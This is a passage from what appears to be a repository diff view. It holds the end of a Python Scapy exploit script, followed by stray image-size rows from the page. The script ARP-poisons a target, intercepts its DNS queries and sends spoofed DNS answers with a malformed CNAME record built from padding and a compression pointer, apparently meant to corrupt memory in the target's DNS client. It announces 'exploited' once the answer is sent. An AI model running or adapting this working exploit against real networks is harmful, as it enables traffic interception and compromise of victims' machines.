|
|
||||||
if DNSQR in received_packet:
|
|
||||||
print("[*] the received packet: " + str(bytes_hex(received_packet)))
|
|
||||||
print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
|
|
||||||
try:
|
|
||||||
# \/ the received DNS request
|
|
||||||
dns_request = received_packet[DNS].build()
|
|
||||||
null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
|
|
||||||
print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
|
|
||||||
print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
|
|
||||||
payload = [
|
|
||||||
dns_request[0:2],
|
|
||||||
b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00",
|
|
||||||
dns_request[12:null_pointer_index+1],
|
|
||||||
dns_request[null_pointer_index+1:null_pointer_index+3],
|
|
||||||
dns_request[null_pointer_index+3:null_pointer_index+5],
|
|
||||||
b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10",
|
|
||||||
b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41",
|
|
||||||
b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41",
|
|
||||||
b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04"
|
|
||||||
]
|
|
||||||
|
|
||||||
payload = b"".join(payload)
|
|
||||||
spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/ \
|
|
||||||
UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/ \
|
|
||||||
payload)
|
|
||||||
print("[+] dns answer: "+str(hexlify(payload)))
|
|
||||||
print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))
|
|
||||||
|
|
||||||
sendp(spoofed_pkt, count=1)
|
|
||||||
print("\n[+] malicious answer was sent")
|
|
||||||
print("[+] exploited\n")
|
|
||||||
except:
|
|
||||||
print("\n[-] ERROR")
|
|
||||||
|
|
||||||
def main():
|
|
||||||
global target_ip
|
|
||||||
parser = argparse.ArgumentParser()
|
|
||||||
parser.add_argument("-t", "--target", help="IP address of the target")
|
|
||||||
parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
|
|
||||||
args = parser.parse_args()
|
|
||||||
target_ip = args.target
|
|
||||||
dns_server_ip = args.dns_server
|
|
||||||
device_setup()
|
|
||||||
processes_list = []
|
|
||||||
ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
|
|
||||||
exploitProcess = Process(target=exploit,args=(target_ip,))
|
|
||||||
processes_list.append(ARPPProcess)
|
|
||||||
processes_list.append(exploitProcess)
|
|
||||||
for process in processes_list:
|
|
||||||
process.start()
|
|
||||||
for process in processes_list:
|
|
||||||
process.join()
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
target_ip = ""
|
|
||||||
main()
|
|
Before Width: | Height: | Size: 98 KiB After Width: | Height: | Size: 98 KiB |
Before Width: | Height: | Size: 69 KiB After Width: | Height: | Size: 69 KiB |
Before Width: | Height: | Size: 54 KiB After Width: | Height: | Size: 54 KiB |
Before Width: | Height: | Size: 231 KiB After Width: | Height: | Size: 231 KiB |
Before Width: | Height: | Size: 478 KiB After Width: | Height: | Size: 478 KiB |
Before Width: | Height: | Size: 299 KiB After Width: | Height: | Size: 299 KiB |
Before Width: | Height: | Size: 366 KiB After Width: | Height: | Size: 366 KiB |
Before Width: | Height: | Size: 308 KiB After Width: | Height: | Size: 308 KiB |
Before Width: | Height: | Size: 314 KiB After Width: | Height: | Size: 314 KiB |
Before Width: | Height: | Size: 360 KiB After Width: | Height: | Size: 360 KiB |
Before Width: | Height: | Size: 336 KiB After Width: | Height: | Size: 336 KiB |